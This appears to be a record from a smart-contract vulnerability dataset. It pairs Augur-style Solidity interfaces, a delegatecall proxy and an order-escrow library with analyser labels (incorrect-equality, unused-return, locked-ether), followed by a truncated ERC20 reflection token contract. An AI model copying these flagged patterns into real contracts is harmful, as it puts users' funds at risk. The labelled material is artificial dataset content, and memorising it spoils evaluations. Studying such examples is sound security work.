function logMarketMailboxTransferred(IUniverse _universe, IMarket _market, address _from, address _to) public returns (bool);
function logEscapeHatchChanged(bool _isOn) public returns (bool);
}
contract IControlled {
function getController() public view returns (IController);
function setController(IController _controller) public returns(bool);
}
contract Controlled is IControlled {
IController internal controller;
modifier onlyWhitelistedCallers {
require(controller.assertIsWhitelisted(msg.sender));
_;
}
modifier onlyCaller(bytes32 _key) {
require(msg.sender == controller.lookup(_key));
_;
}
modifier onlyControllerCaller {
require(IController(msg.sender) == controller);
_;
}
modifier onlyInGoodTimes {
require(controller.stopInEmergency());
_;
}
modifier onlyInBadTimes {
require(controller.onlyInEmergency());
_;
}
function Controlled() public {
controller = IController(msg.sender);
}
function getController() public view returns(IController) {
return controller;
}
function setController(IController _controller) public onlyControllerCaller returns(bool) {
controller = _controller;
return true;
}
}
contract IController {
function assertIsWhitelisted(address _target) public view returns(bool);
function lookup(bytes32 _key) public view returns(address);
function stopInEmergency() public view returns(bool);
function onlyInEmergency() public view returns(bool);
function getAugur() public view returns (IAugur);
function getTimestamp() public view returns (uint256);
}
contract MailboxFactory {
function createMailbox(IController _controller, address _owner, IMarket _market) public returns (IMailbox) {
Delegator _delegator = new Delegator(_controller, "Mailbox");
IMailbox _mailbox = IMailbox(_delegator);
_mailbox.initialize(_owner, _market);
return _mailbox;
}
}
contract DelegationTarget is Controlled {
bytes32 public controllerLookupName;
}
contract Delegator is DelegationTarget {
function Delegator(IController _controller, bytes32 _controllerLookupName) public {
controller = _controller;
controllerLookupName = _controllerLookupName;
}
function() external payable {
// Do nothing if we haven't properly set up the delegator to delegate calls
if (controllerLookupName == 0) {
return;
}
// Get the delegation target contract
address _target = controller.lookup(controllerLookupName);
assembly {
//0x40 is the address where the next free memory slot is stored in Solidity
let _calldataMemoryOffset := mload(0x40)
// new "memory end" including padding. The bitwise operations here ensure we get rounded up to the nearest 32 byte boundary
let _size := and(add(calldatasize, 0x1f), not(0x1f))
// Update the pointer at 0x40 to point at new free memory location so any theoretical allocation doesn't stomp our memory in this call
mstore(0x40, add(_calldataMemoryOffset, _size))
// Copy method signature and parameters of this call into memory
calldatacopy(_calldataMemoryOffset, 0x0, calldatasize)
// Call the actual method via delegation
let _retval := delegatecall(gas, _target, _calldataMemoryOffset, calldatasize, 0, 0)
switch _retval
case 0 {
// 0 == it threw, so we revert
revert(0,0)
} default {
// If the call succeeded return the return data from the delegate call
let _returndataMemoryOffset := mload(0x40)
// Update the pointer at 0x40 again to point at new free memory location so any theoretical allocation doesn't stomp our memory in this call
mstore(0x40, add(_returndataMemoryOffset, returndatasize))
returndatacopy(_returndataMemoryOffset, 0x0, returndatasize)
return(_returndataMemoryOffset, returndatasize)
}
}
}
}
contract IOwnable {
function getOwner() public view returns (address);
function transferOwnership(address newOwner) public returns (bool);
}
contract ITyped {
function getTypeName() public view returns (bytes32);
}
contract Initializable {
bool private initialized = false;
modifier afterInitialized {
require(initialized);
_;
}
modifier beforeInitialized {
require(!initialized);
_;
}
function endInitialization() internal beforeInitialized returns (bool) {
initialized = true;
return true;
}
function getInitialized() public view returns (bool) {
return initialized;
}
}
library SafeMathUint256 {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
if (a <= b) {
return a;
} else {
return b;
}
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
if (a >= b) {
return a;
} else {
return b;
}
}
function getUint256Min() internal pure returns (uint256) {
return 0;
}
function getUint256Max() internal pure returns (uint256) {
return 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
}
function isMultipleOf(uint256 a, uint256 b) internal pure returns (bool) {
return a % b == 0;
}
// Float [fixed point] Operations
function fxpMul(uint256 a, uint256 b, uint256 base) internal pure returns (uint256) {
return div(mul(a, b), base);
}
function fxpDiv(uint256 a, uint256 b, uint256 base) internal pure returns (uint256) {
return div(mul(a, base), b);
}
}
contract ERC20Basic {
event Transfer(address indexed from, address indexed to, uint256 value);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function totalSupply() public view returns (uint256);
}
contract ERC20 is ERC20Basic {
event Approval(address indexed owner, address indexed spender, uint256 value);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
}
contract IFeeToken is ERC20, Initializable {
function initialize(IFeeWindow _feeWindow) public returns (bool);
function getFeeWindow() public view returns (IFeeWindow);
function feeWindowBurn(address _target, uint256 _amount) public returns (bool);
function mintForReportingParticipant(address _target, uint256 _amount) public returns (bool);
}
contract IFeeWindow is ITyped, ERC20 {
function initialize(IUniverse _universe, uint256 _feeWindowId) public returns (bool);
function getUniverse() public view returns (IUniverse);
function getReputationToken() public view returns (IReputationToken);
function getStartTime() public view returns (uint256);
function getEndTime() public view returns (uint256);
function getNumMarkets() public view returns (uint256);
function getNumInvalidMarkets() public view returns (uint256);
function getNumIncorrectDesignatedReportMarkets() public view returns (uint256);
function getNumDesignatedReportNoShows() public view returns (uint256);
function getFeeToken() public view returns (IFeeToken);
function isActive() public view returns (bool);
function isOver() public view returns (bool);
function onMarketFinalized() public returns (bool);
function buy(uint256 _attotokens) public returns (bool);
function redeem(address _sender) public returns (bool);
function redeemForReportingParticipant() public returns (bool);
function mintFeeTokens(uint256 _amount) public returns (bool);
function trustedUniverseBuy(address _buyer, uint256 _attotokens) public returns (bool);
}
contract IMailbox {
function initialize(address _owner, IMarket _market) public returns (bool);
function depositEther() public payable returns (bool);
}
contract IMarket is ITyped, IOwnable {
enum MarketType {
YES_NO,
CATEGORICAL,
SCALAR
}
function initialize(IUniverse _universe, uint256 _endTime, uint256 _feePerEthInAttoeth, ICash _cash, address _designatedReporterAddress, address _creator, uint256 _numOutcomes, uint256 _numTicks) public payable returns (bool _success);
function derivePayoutDistributionHash(uint256[] _payoutNumerators, bool _invalid) public view returns (bytes32);
function getUniverse() public view returns (IUniverse);
function getFeeWindow() public view returns (IFeeWindow);
function getNumberOfOutcomes() public view returns (uint256);
function getNumTicks() public view returns (uint256);
function getDenominationToken() public view returns (ICash);
function getShareToken(uint256 _outcome) public view returns (IShareToken);
function getMarketCreatorSettlementFeeDivisor() public view returns (uint256);
function getForkingMarket() public view returns (IMarket _market);
function getEndTime() public view returns (uint256);
function getMarketCreatorMailbox() public view returns (IMailbox);
function getWinningPayoutDistributionHash() public view returns (bytes32);
function getWinningPayoutNumerator(uint256 _outcome) public view returns (uint256);
function getReputationToken() public view returns (IReputationToken);
function getFinalizationTime() public view returns (uint256);
function getInitialReporterAddress() public view returns (address);
function deriveMarketCreatorFeeAmount(uint256 _amount) public view returns (uint256);
function isContainerForShareToken(IShareToken _shadyTarget) public view returns (bool);
function isContainerForReportingParticipant(IReportingParticipant _reportingParticipant) public view returns (bool);
function isInvalid() public view returns (bool);
function finalize() public returns (bool);
function designatedReporterWasCorrect() public view returns (bool);
function designatedReporterShowed() public view returns (bool);
function isFinalized() public view returns (bool);
function finalizeFork() public returns (bool);
function assertBalances() public view returns (bool);
}
contract IReportingParticipant {
function getStake() public view returns (uint256);
function getPayoutDistributionHash() public view returns (bytes32);
function liquidateLosing() public returns (bool);
function redeem(address _redeemer) public returns (bool);
function isInvalid() public view returns (bool);
function isDisavowed() public view returns (bool);
function migrate() public returns (bool);
function getPayoutNumerator(uint256 _outcome) public view returns (uint256);
function getMarket() public view returns (IMarket);
function getSize() public view returns (uint256);
}
contract IDisputeCrowdsourcer is IReportingParticipant, ERC20 {
function initialize(IMarket market, uint256 _size, bytes32 _payoutDistributionHash, uint256[] _payoutNumerators, bool _invalid) public returns (bool);
function contribute(address _participant, uint256 _amount) public returns (uint256);
}
contract IReputationToken is ITyped, ERC20 {
function initialize(IUniverse _universe) public returns (bool);
function migrateOut(IReputationToken _destination, uint256 _attotokens) public returns (bool);
function migrateIn(address _reporter, uint256 _attotokens) public returns (bool);
function trustedReportingParticipantTransfer(address _source, address _destination, uint256 _attotokens) public returns (bool);
function trustedMarketTransfer(address _source, address _destination, uint256 _attotokens) public returns (bool);
function trustedFeeWindowTransfer(address _source, address _destination, uint256 _attotokens) public returns (bool);
function trustedUniverseTransfer(address _source, address _destination, uint256 _attotokens) public returns (bool);
function getUniverse() public view returns (IUniverse);
function getTotalMigrated() public view returns (uint256);
function getTotalTheoreticalSupply() public view returns (uint256);
function mintForReportingParticipant(uint256 _amountMigrated) public returns (bool);
}
contract IUniverse is ITyped {
function initialize(IUniverse _parentUniverse, bytes32 _parentPayoutDistributionHash) external returns (bool);
function fork() public returns (bool);
function getParentUniverse() public view returns (IUniverse);
function createChildUniverse(uint256[] _parentPayoutNumerators, bool _invalid) public returns (IUniverse);
function getChildUniverse(bytes32 _parentPayoutDistributionHash) public view returns (IUniverse);
function getReputationToken() public view returns (IReputationToken);
function getForkingMarket() public view returns (IMarket);
function getForkEndTime() public view returns (uint256);
function getForkReputationGoal() public view returns (uint256);
function getParentPayoutDistributionHash() public view returns (bytes32);
function getDisputeRoundDurationInSeconds() public view returns (uint256);
function getOrCreateFeeWindowByTimestamp(uint256 _timestamp) public returns (IFeeWindow);
function getOrCreateCurrentFeeWindow() public returns (IFeeWindow);
function getOrCreateNextFeeWindow() public returns (IFeeWindow);
function getOpenInterestInAttoEth() public view returns (uint256);
function getRepMarketCapInAttoeth() public view returns (uint256);
function getTargetRepMarketCapInAttoeth() public view returns (uint256);
function getOrCacheValidityBond() public returns (uint256);
function getOrCacheDesignatedReportStake() public returns (uint256);
function getOrCacheDesignatedReportNoShowBond() public returns (uint256);
function getOrCacheReportingFeeDivisor() public returns (uint256);
function getDisputeThresholdForFork() public view returns (uint256);
function getInitialReportMinValue() public view returns (uint256);
function calculateFloatingValue(uint256 _badMarkets, uint256 _totalMarkets, uint256 _targetDivisor, uint256 _previousValue, uint256 _defaultValue, uint256 _floor) public pure returns (uint256 _newValue);
function getOrCacheMarketCreationCost() public returns (uint256);
function getCurrentFeeWindow() public view returns (IFeeWindow);
function getOrCreateFeeWindowBefore(IFeeWindow _feeWindow) public returns (IFeeWindow);
function isParentOf(IUniverse _shadyChild) public view returns (bool);
function updateTentativeWinningChildUniverse(bytes32 _parentPayoutDistributionHash) public returns (bool);
function isContainerForFeeWindow(IFeeWindow _shadyTarget) public view returns (bool);
function isContainerForMarket(IMarket _shadyTarget) public view returns (bool);
function isContainerForReportingParticipant(IReportingParticipant _reportingParticipant) public view returns (bool);
function isContainerForShareToken(IShareToken _shadyTarget) public view returns (bool);
function isContainerForFeeToken(IFeeToken _shadyTarget) public view returns (bool);
function addMarketTo() public returns (bool);
function removeMarketFrom() public returns (bool);
function decrementOpenInterest(uint256 _amount) public returns (bool);
function decrementOpenInterestFromMarket(uint256 _amount) public returns (bool);
function incrementOpenInterest(uint256 _amount) public returns (bool);
function incrementOpenInterestFromMarket(uint256 _amount) public returns (bool);
function getWinningChildUniverse() public view returns (IUniverse);
function isForking() public view returns (bool);
}
contract ICash is ERC20 {
function depositEther() external payable returns(bool);
function depositEtherFor(address _to) external payable returns(bool);
function withdrawEther(uint256 _amount) external returns(bool);
function withdrawEtherTo(address _to, uint256 _amount) external returns(bool);
function withdrawEtherToIfPossible(address _to, uint256 _amount) external returns (bool);
}
contract IOrders {
function saveOrder(Order.Types _type, IMarket _market, uint256 _fxpAmount, uint256 _price, address _sender, uint256 _outcome, uint256 _moneyEscrowed, uint256 _sharesEscrowed, bytes32 _betterOrderId, bytes32 _worseOrderId, bytes32 _tradeGroupId) public returns (bytes32 _orderId);
function removeOrder(bytes32 _orderId) public returns (bool);
function getMarket(bytes32 _orderId) public view returns (IMarket);
function getOrderType(bytes32 _orderId) public view returns (Order.Types);
function getOutcome(bytes32 _orderId) public view returns (uint256);
function getAmount(bytes32 _orderId) public view returns (uint256);
function getPrice(bytes32 _orderId) public view returns (uint256);
function getOrderCreator(bytes32 _orderId) public view returns (address);
function getOrderSharesEscrowed(bytes32 _orderId) public view returns (uint256);
function getOrderMoneyEscrowed(bytes32 _orderId) public view returns (uint256);
function getBetterOrderId(bytes32 _orderId) public view returns (bytes32);
function getWorseOrderId(bytes32 _orderId) public view returns (bytes32);
function getBestOrderId(Order.Types _type, IMarket _market, uint256 _outcome) public view returns (bytes32);
function getWorstOrderId(Order.Types _type, IMarket _market, uint256 _outcome) public view returns (bytes32);
function getLastOutcomePrice(IMarket _market, uint256 _outcome) public view returns (uint256);
function getOrderId(Order.Types _type, IMarket _market, uint256 _fxpAmount, uint256 _price, address _sender, uint256 _blockNumber, uint256 _outcome, uint256 _moneyEscrowed, uint256 _sharesEscrowed) public pure returns (bytes32);
function getTotalEscrowed(IMarket _market) public view returns (uint256);
function isBetterPrice(Order.Types _type, uint256 _price, bytes32 _orderId) public view returns (bool);
function isWorsePrice(Order.Types _type, uint256 _price, bytes32 _orderId) public view returns (bool);
function assertIsNotBetterPrice(Order.Types _type, uint256 _price, bytes32 _betterOrderId) public view returns (bool);
function assertIsNotWorsePrice(Order.Types _type, uint256 _price, bytes32 _worseOrderId) public returns (bool);
function recordFillOrder(bytes32 _orderId, uint256 _sharesFilled, uint256 _tokensFilled) public returns (bool);
function setPrice(IMarket _market, uint256 _outcome, uint256 _price) external returns (bool);
function incrementTotalEscrowed(IMarket _market, uint256 _amount) external returns (bool);
function decrementTotalEscrowed(IMarket _market, uint256 _amount) external returns (bool);
}
contract IShareToken is ITyped, ERC20 {
function initialize(IMarket _market, uint256 _outcome) external returns (bool);
function createShares(address _owner, uint256 _amount) external returns (bool);
function destroyShares(address, uint256 balance) external returns (bool);
function getMarket() external view returns (IMarket);
function getOutcome() external view returns (uint256);
function trustedOrderTransfer(address _source, address _destination, uint256 _attotokens) public returns (bool);
function trustedFillOrderTransfer(address _source, address _destination, uint256 _attotokens) public returns (bool);
function trustedCancelOrderTransfer(address _source, address _destination, uint256 _attotokens) public returns (bool);
}
library Order {
using SafeMathUint256 for uint256;
enum Types {
Bid, Ask
}
enum TradeDirections {
Long, Short
}
struct Data {
// Contracts
IOrders orders;
IMarket market;
IAugur augur;
// Order
bytes32 id;
address creator;
uint256 outcome;
Order.Types orderType;
uint256 amount;
uint256 price;
uint256 sharesEscrowed;
uint256 moneyEscrowed;
bytes32 betterOrderId;
bytes32 worseOrderId;
}
//
// Constructor
//
// No validation is needed here as it is simply a librarty function for organizing data
function create(IController _controller, address _creator, uint256 _outcome, Order.Types _type, uint256 _attoshares, uint256 _price, IMarket _market, bytes32 _betterOrderId, bytes32 _worseOrderId) internal view returns (Data) {
require(_outcome < _market.getNumberOfOutcomes());
require(_price < _market.getNumTicks());
IOrders _orders = IOrders(_controller.lookup("Orders"));
IAugur _augur = _controller.getAugur();
return Data({
orders: _orders,
market: _market,
augur: _augur,
id: 0,
creator: _creator,
outcome: _outcome,
orderType: _type,
amount: _attoshares,
price: _price,
sharesEscrowed: 0,
moneyEscrowed: 0,
betterOrderId: _betterOrderId,
worseOrderId: _worseOrderId
});
}
//
// "public" functions
//
function getOrderId(Order.Data _orderData) internal view returns (bytes32) {
if (_orderData.id == bytes32(0)) {
bytes32 _orderId = _orderData.orders.getOrderId(_orderData.orderType, _orderData.market, _orderData.amount, _orderData.price, _orderData.creator, block.number, _orderData.outcome, _orderData.moneyEscrowed, _orderData.sharesEscrowed);
require(_orderData.orders.getAmount(_orderId) == 0);
_orderData.id = _orderId;
}
return _orderData.id;
}
function getOrderTradingTypeFromMakerDirection(Order.TradeDirections _creatorDirection) internal pure returns (Order.Types) {
return (_creatorDirection == Order.TradeDirections.Long) ? Order.Types.Bid : Order.Types.Ask;
}
function getOrderTradingTypeFromFillerDirection(Order.TradeDirections _fillerDirection) internal pure returns (Order.Types) {
return (_fillerDirection == Order.TradeDirections.Long) ? Order.Types.Ask : Order.Types.Bid;
}
function escrowFunds(Order.Data _orderData) internal returns (bool) {
if (_orderData.orderType == Order.Types.Ask) {
return escrowFundsForAsk(_orderData);
} else if (_orderData.orderType == Order.Types.Bid) {
return escrowFundsForBid(_orderData);
}
}
function saveOrder(Order.Data _orderData, bytes32 _tradeGroupId) internal returns (bytes32) {
return _orderData.orders.saveOrder(_orderData.orderType, _orderData.market, _orderData.amount, _orderData.price, _orderData.creator, _orderData.outcome, _orderData.moneyEscrowed, _orderData.sharesEscrowed, _orderData.betterOrderId, _orderData.worseOrderId, _tradeGroupId);
}
//
// Private functions
//
function escrowFundsForBid(Order.Data _orderData) private returns (bool) {
require(_orderData.moneyEscrowed == 0);
require(_orderData.sharesEscrowed == 0);
uint256 _attosharesToCover = _orderData.amount;
uint256 _numberOfOutcomes = _orderData.market.getNumberOfOutcomes();
// Figure out how many almost-complete-sets (just missing `outcome` share) the creator has
uint256 _attosharesHeld = 2**254;
for (uint256 _i = 0; _i < _numberOfOutcomes; _i++) {
if (_i != _orderData.outcome) {
uint256 _creatorShareTokenBalance = _orderData.market.getShareToken(_i).balanceOf(_orderData.creator);
_attosharesHeld = SafeMathUint256.min(_creatorShareTokenBalance, _attosharesHeld);
}
}
// Take shares into escrow if they have any almost-complete-sets
if (_attosharesHeld > 0) {
_orderData.sharesEscrowed = SafeMathUint256.min(_attosharesHeld, _attosharesToCover);
_attosharesToCover -= _orderData.sharesEscrowed;
for (_i = 0; _i < _numberOfOutcomes; _i++) {
if (_i != _orderData.outcome) {
_orderData.market.getShareToken(_i).trustedOrderTransfer(_orderData.creator, _orderData.market, _orderData.sharesEscrowed);
}
}
}
// If not able to cover entire order with shares alone, then cover remaining with tokens
if (_attosharesToCover > 0) {
_orderData.moneyEscrowed = _attosharesToCover.mul(_orderData.price);
require(_orderData.augur.trustedTransfer(_orderData.market.getDenominationToken(), _orderData.creator, _orderData.market, _orderData.moneyEscrowed));
}
return true;
}
function escrowFundsForAsk(Order.Data _orderData) private returns (bool) {
require(_orderData.moneyEscrowed == 0);
require(_orderData.sharesEscrowed == 0);
IShareToken _shareToken = _orderData.market.getShareToken(_orderData.outcome);
uint256 _attosharesToCover = _orderData.amount;
// Figure out how many shares of the outcome the creator has
uint256 _attosharesHeld = _shareToken.balanceOf(_orderData.creator);
// Take shares in escrow if user has shares
if (_attosharesHeld > 0) {
_orderData.sharesEscrowed = SafeMathUint256.min(_attosharesHeld, _attosharesToCover);
_attosharesToCover -= _orderData.sharesEscrowed;
_shareToken.trustedOrderTransfer(_orderData.creator, _orderData.market, _orderData.sharesEscrowed);
}
// If not able to cover entire order with shares alone, then cover remaining with tokens
if (_attosharesToCover > 0) {
_orderData.moneyEscrowed = _orderData.market.getNumTicks().sub(_orderData.price).mul(_attosharesToCover);
require(_orderData.augur.trustedTransfer(_orderData.market.getDenominationToken(), _orderData.creator, _orderData.market, _orderData.moneyEscrowed));
}
return true;
}
} | These are the vulnerabilities found
1) incorrect-equality with Medium impact
2) unused-return with Medium impact
3) locked-ether with Medium impact |
/*
░█████╗░██╗░░██╗██╗░░██╗░█████╗░
██╔══██╗╚██╗██╔╝╚██╗██╔╝██╔══██╗
██║░░██║░╚███╔╝░░╚███╔╝░██║░░██║
██║░░██║░██╔██╗░░██╔██╗░██║░░██║
╚█████╔╝██╔╝╚██╗██╔╝╚██╗╚█████╔╝
░╚════╝░╚═╝░░╚═╝╚═╝░░╚═╝░╚════╝░
*/// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.8.4;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.4;
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.8.4;
contract OXXO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Ox';
string private _symbol = 'OXXO';
uint8 private _decimals = 0;
constructor () {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
